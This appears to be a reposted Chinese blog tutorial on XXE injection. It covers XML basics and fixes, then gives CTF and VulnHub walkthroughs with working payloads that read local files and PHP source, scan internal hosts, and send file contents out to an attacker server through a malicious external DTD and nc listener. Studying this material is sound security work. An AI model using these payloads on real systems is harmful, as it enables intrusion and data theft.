web安全XML&XXE安全&外部实体&利用
Posted 遗憾zzz
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了web安全XML&XXE安全&外部实体&利用相关的知识,希望对你有一定的参考价值。
一、对XML的认识
1.什么是XML
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从html分离,是独立于软件和硬件的信息传输工具。
2.文档结构
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
XML 与 HTML 的主要差异:
XML 被设计为传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息 ,而 XML 旨在传输信息。
参考:https://www.cnblogs.com/zhaijiahui/p/9147595.html
二、XXE漏洞的原理&发现&修复
XXE漏洞原理:
XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
XXE黑盒发现:
1、获取得到Content-Type或数据类型为xml时,尝试进行xml语言payload进行测试
2、不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe
3、XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行
XXE修复防御方案:
方案1-禁用外部实体
PHP: libxml_disable_entity_loader(true);
JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
Python:from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案2-过滤用户提交的XML数据
过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC
三、CTF赛题场景利用
1.[NCTF2019]Fake XML cookbook
来到漏洞界面
我们可以直接抓包,发现这里的登陆参数是xml格式判断存在xxe漏洞
文件读取payload:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE ruler [
<!ENTITY filee SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/doLogin.php">
]>
<user>
<username>&filee;</username>
<password>ruler</password>
</user>
直接读取flag
内网探针:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt" >
]>
<user><username>&rabbit;</username><password>Mikasa</password></user>
外部实体引用:(解决不回显,解决免杀拦截问题,外部引用Payload)
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">
%file;
]>
<user><username>&send;</username><password>Mikasa</password></user>
evil2.dtd 代码内容
<!ENTITY send SYSTEM "file:///d:/www.txt">
参考:https://blog.csdn.net/m0_46580995/article/details/109562746
https://blog.csdn.net/qq_52907838/article/details/118030007
https://github.com/c0ny1/xxe-lab
2.Jarvis-api调用
地址:http://web.jarvisoj.com:9882/
还是老办法抓包
我们可以更改请求数据格式:application/xml 来实现XXE注入
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
3.[网鼎杯 2020 青龙组]filejava
来到熟悉的文件上传界面,我们先随便上传一下
在点击访问文件的时候发现可以下载文件,判断可能存在任意文件下载
哈哈哈哈,tomcat,题目又提示和java有关,判断应该是web.xml文件泄露
我们先看这个文件上传的文件
http://7efc5ed6-654d-434a-8059-93596d3a2409.node4.buuoj.cn/DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/UploadServlet.class
通过代码审计,找到关键点
这里是一个excel和xxe漏洞的结合,CVE-2014-3529 (POI XXE注入)
参考: https://blog.csdn.net/weixin_34356310/article/details/92664653
这里需要用到vps,由于是在buu上复现的,所以注册一个小号,开一台靶机就行
新建一个excel-123456.xlsx文件,在里面的[Content_Types].xml的第二行加入
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://172.16.148.57/file.dtd">
%remote;%int;%send;
]>
然后在靶机的/var/www/html目录下新建一个file.dtd文件,内容为
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://172.16.148.57:9999?p=%file;'>">
最后上传监听nc -lvvp 9999 就能拿到flag
参考:https://blog.csdn.net/alex_bean/article/details/106124750
https://blog.csdn.net/weixin_43553654/article/details/107686932
http://www.xianxianlabs.com/blog/2020/06/02/377.html
四、模拟XXE渗透实战
1.信息收集-主机ip扫描
nmap -sS 192.168.111.1/24
发现192.168.111.135开放了80端口
接着通过robots协议,发现存在的目录如下
现在收集完毕之后就行漏洞利用
文件读取admin.php的内容
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&sp;</name><password>hj</password></root>
<?php
$msg = '';
if (isset($_POST['login']) && !empty($_POST['username'])
&& !empty($_POST['password'])) {
if ($_POST['username'] == 'administhebest' &&
md5($_POST['password']) == 'e6e061838856bf47e1de730719fb2609') {
$_SESSION['valid'] = true;
$_SESSION['timeout'] = time();
$_SESSION['username'] = 'administhebest';
echo "You have entered valid use name and password <br />";
$flag = "Here is the <a style='color:FF0000;' href='/flagmeout.php'>Flag</a>";
echo $flag;
}else {
$msg = 'Maybe Later';
}
}
?>
</div> <!-- W00t/W00t -->
那么通过文件读取我们知道了账号密码、账号:administhebest 密码:admin@123,也可以看到登陆成功后访问的是flagmeout.php,那么我们可以试着读取flagmeout.php
找到了flag~ ——工具及靶场:
https://github.com/enjoiz/XXEinjector
https://github.com/vkbiu/docem
https://download.vulnhub.com/xxe/XXE.zip
以上是关于web安全XML&XXE安全&外部实体&利用的主要内容,如果未能解决你的问题,请参考以下文章
09.27安全帮®每日资讯:思科互联网操作系统发现执行任意代码高危漏洞;WebSphere XML外部实体注入(XXE)漏洞